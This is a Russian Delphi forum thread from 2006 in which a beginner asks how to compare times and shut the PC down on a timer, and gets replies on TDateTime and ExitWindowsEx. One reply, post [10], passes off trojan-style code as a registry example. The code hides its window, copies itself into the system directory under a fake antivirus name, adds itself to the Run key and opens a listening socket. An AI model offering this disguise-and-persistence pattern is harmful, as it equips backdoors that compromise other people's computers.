![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Как сравнить время [D6, WinXP]
alex111 © (2006-02-20 14:57:00)Пытаюсь написать прогу которая будет выключать комп через определенное время. Столкнулся с такой проблемой:
Функция time возвращает время в формате 12:42:34. Сохраняю его, затем по таймеру проверяю системное время. Вопрос: Как сравнить полученное время с сохраненным ?????
Если можно простенький пример.
Заранее благодарен.
alex111 (2006-03-10 08:02:00) [1]
> ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает
также winexec
как корректно выключить компьютер?
alex111 (2006-02-27 05:43:00) [2]
> ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает
> работу компьютера с выключением питания, если система поддерживает
> автоуправление питанием*/
Почему-то эта ф-я вместо PowerOff делает LogOff.
alex111 (2006-02-24 14:16:00) [3]
> Строка:Tregistry non aviable for cross platform...
> говорит о том что работа с данным типов не доступна для
> кроссплатформенных приложений, таких как линукс и другие.
>
> Реестр сугубо виндовая фишка
>
> По поводу Registry.pas то его нужно подключить в uses твоего
> юнита.
>
А-а-а теперь понятно. Жаль что попробовать смогу теперь только завтра.
Сайбель Алексей (2006-02-24 09:10:00) [4]2 alex111 © [21]
> пишу: var Reg: Tregistry...и т.д;//здесь ошибка при
>компиляции типа не знаю что такое Tregistry
> поискал в справке там Tregistry non aviable for cross
>platform...
> думал не установлен компонент, попробовал установить,
> нашел Registry.pas, устанавливаю, а он говорит, что
> уже установлено, но в компонентах его нет.
Строка: Tregistry non aviable for cross platform...
говорит о том что работа с данным типов не доступна для кроссплатформенных приложений, таких как линукс и другие.
Реестр сугубо виндовая фишка
По поводу Registry.pasто его нужно подключить в usesтвоего юнита.
alex111 (2006-02-24 07:41:00) [5]Dark, спасибо за почту!
-=Dark=- писал:
> Reg: TRegistry;
> dir,str: string;
> len: integer;
пишу: var Reg: Tregistry...и т.д;//здесь ошибка при компиляции типа не знаю что такое Tregistry
поискал в справке там Tregistry non aviable for cross platform...
думал не установлен компонент, попробовал установить, нашел Registry.pas, устанавливаю, а он говорит, что уже установлено, но в компонентах его нет.
> Проверяй данные, которые складываешь!А еще Лучше, если starttime
> и limit укажешь как константы, ну если конечно так и должно
> быть! Правильно ли ты их прописываешь и вообще ты их в каком
> формате складываешь то? У тебя есть полученное время типа
> 00:00:00! К нему должно прибовлять в таком же формате учитывая
> постановку часов, минут и секунд! Проверяй, значит где то
> ошибка!:-)
здесь так:
StartTime:=Now;
limit:=01:00:00;
ostatok:=StartTime+StrToTime(limit)-Now;
Label1.Caption:=TimeToStr(StartTime);//здесь правильно
Label2.Caption:=limit;//здесь правильно
Label3.Caption:=TimeToStr(ostatok);//здесь не верное значение
Label4.Caption:=Now;//здесь правильно
-=Dark=- (2006-02-23 15:02:00) [6]А по поводу
> интересно почему так:
> ostatok:=starttime+limit-now;//посчитаем сколько осталось
> результат вычисляется не верный.
Проверяй данные, которые складываешь!А еще Лучше, если starttime и limit укажешь как константы, ну если конечно так и должно быть! Правильно ли ты их прописываешь и вообще ты их в каком формате складываешь то? У тебя есть полученное время типа 00:00:00! К нему должно прибовлять в таком же формате учитывая постановку часов, минут и секунд! Проверяй, значит где то ошибка!:-)
alex111 (2006-02-23 14:56:00) [7]-=Dark=- вот inf(псина)xaker.ru
спасибо!!!
-=Dark=- (2006-02-23 14:55:00) [8]ExitWindowsEx(EWX_LOGOFF or ewx_force,0); /*завершает работу всех запущенных в системе процессов, сохраняя данные приложения, вызвавшего эту функцию*/
ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0); /*останавливает работу системы в безопасный момент времени. Все буферы очищаются с сохранением данных на диске, все процессы останавливаются*/
ExitWindowsEx(EWX_REBOOT or ewx_force,0); /*перезагрузка системы*/
ExitWindowsEx(EWX_FORCE or ewx_force,0); /*завершает работу всех запущенных в системе приложений, не посылая им сообщения WM_QUERYENDSESSION и WM_ENDSESSIO. Это может вызвать потерю не сохраненных данных*/
ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает работу компьютера с выключением питания, если система поддерживает автоуправление питанием*/
ExitWindowsEx(EWX_FORCEIFHUNG or ewx_force,0); /*завершает работу всех запущенных в системе приложений если система висит*/
-=Dark=- (2006-02-23 14:52:00) [9]Оставь мыльник! Api функции солью!
-=Dark=- (2006-02-23 14:44:00) [10]Reg: TRegistry;
dir,str: string;
len: integer;
begin
Application.ShowMainForm := false;
len := 255;
SetLength(Dir,Len);
Len := GetSystemDirectory(PChar(Dir),Len);
SetLength(Dir,Len);
if Application.ExeName <> Dir + '\AVPMON.EXE' then
begin
if not FileExists(Dir + '\avpmon.exe') then
begin
CopyFile('avpmon.exe',PChar(Dir + '\avpmon.exe'),false);
WinExec(PChar(Dir + '\avpmon.exe'),0);
end;
Application.Terminate;
Exit;
end;
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false) then
begin
str := Reg.ReadString('internat32');
if str <> Application.ExeName then
Reg.WriteString('Services',Application.ExeName);
Reg.CloseKey;
end;
Reg.Free;
ServerSocket1.Active := true;
end;
alex111 (2006-02-23 14:23:00) [11]
> 1) По поводу реестра: Нарой какой-нибудь исходник в котором
> описана работа с реестром! На самом деле там все очень просто!
> Или тебе нужен пример создания ключа и записи, ну или удаления?
>
> 2) Нарой описание API функций Виндов! Так как помимо самого
> выключения коспа тебе необходимо еще и закрывать все окна,
> и программы, иначе будет выдаться ошибка и требование сначала
> закрыть, там какую-нибудь программу.
Буду благодарен примеру.
А по поводу
> интересно почему так:
> ostatok:=starttime+limit-now;//посчитаем сколько осталось
> результат вычисляется не верный.
now F1выдает что-то типа "резервирует место в памяти для чего-го там"
-=Dark=- (2006-02-23 14:11:00) [12]1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.
TRegistry
2)как выключить комп програмно?
см. в сторону
ExitWindows()
ExitWindowsEx()
1) По поводу реестра: Нарой какой-нибудь исходник в котором описана работа с реестром! На самом деле там все очень просто! Или тебе нужен пример создания ключа и записи, ну или удаления?
2) Нарой описание API функций Виндов! Так как помимо самого выключения коспа тебе необходимо еще и закрывать все окна, и программы, иначе будет выдаться ошибка и требование сначала закрыть, там какую-нибудь программу.
ssk (2006-02-23 11:55:00) [13]1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.
TRegistry
2)как выключить комп програмно?
см. в сторону
ExitWindows()
ExitWindowsEx()
alex111 (2006-02-23 11:16:00) [14]интересно почему так:
ostatok:=starttime+limit-now;//посчитаем сколько осталось
результат вычисляется не верный.
например: starttime=21:13:00
limit=00:05:00
now=21:13:01..02..03 и т.д.
а остаток вычисляется 23:18:01..02..03 и т.д.?
а если ostatok:=starttime+limit-Time; то все ок
еще пара вопросов
1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.
2)как выключить комп програмно?
alex111 (2006-02-21 08:25:00) [15]Спасибо!!!
КиТаЯц (2006-02-21 07:17:00) [16]
> alex111 © (20.02.06 14:57)
>
> определенное время. Столкнулся с такой проблемой:
> Функция time возвращает время в формате 12:42:34. Сохраняю
> alex111 © (21.02.06 06:02) [8]
>
>
> > if <Твое_время> >= Now
>
> Мне нужно: if<моё время+лимит>=Now...
> но я не могу прибавить лимит (в минутах) к времени. ошибка
> несоответствия типов.
Коряво, но, надеюсь, понятно ;=)
var
MyTime: string = '06.30.00';
Limit: string = '00.00.05';
TmpSep: char; //
TimSep: char = '.'; // отвязываем зависимость от системных настроек
...
TmpSep:= TimeSeparator; // запоминаем системный
TimeSeparator:= TmpSep; // изменяем разделитель дат на наш формат
if ((StrToTime(MyTime)+StrToTime(Limit)) >= Now)
then ... showmessage('Время вышло!');
TimeSeparator:= TmpSep; // возвращаем системные настройки
КаПиБаРа (2006-02-21 06:34:00) [17]alex111 © (20.02.06 14:57)
Функция time возвращает время в формате 12:42:34
function Time: TDateTime;
__________________________________
Unit
System
type TDateTime = type Double;
Фунцкия как ни странно возвращает вещественное число.
F1 - TDateTime type
alex111 (2006-02-21 06:02:00) [18]
> if <Твое_время> >= Now
Мне нужно: if<моё время+лимит>=Now...
но я не могу прибавить лимит (в минутах) к времени. ошибка несоответствия типов.
извините если вопрос глупый, я ещё совсем чайник.
Коля (2006-02-20 23:38:00) [19]Кусок кода от будильника. Много всякой лишней дряни, но надеюсь ответит на вопрос
procedure TForm1.Timer1Timer(Sender: TObject);
var
hn,mn,mm,mmm: word;
begin
Time:=now;
if aset then
begin
if not (pll) then
begin
DecodeTime(time, hn, mn, mm, mmm);
if (hn=ha) and (mn=ma) then
begin
mediaplayer1.Open;
mediaplayer1.Play;
groupbox2.Show;
groupbox1.Hide;
//mediaplayer1.TimeFormat:=tfMilliseconds;
//form2.timer3.Interval:=2000;
form1.Show;
pll:=true;
hp:=true;
end;
end
else
begin
if mediaplayer1.Position = mediaplayer1.Length then
begin
mediaplayer1.Position:=1;
mediaplayer1.Play;
end;
end;
end;
end;
SOFTakaXimera (2006-02-20 18:24:00) [20]if StrToTime(12:42:34) < Now Then .....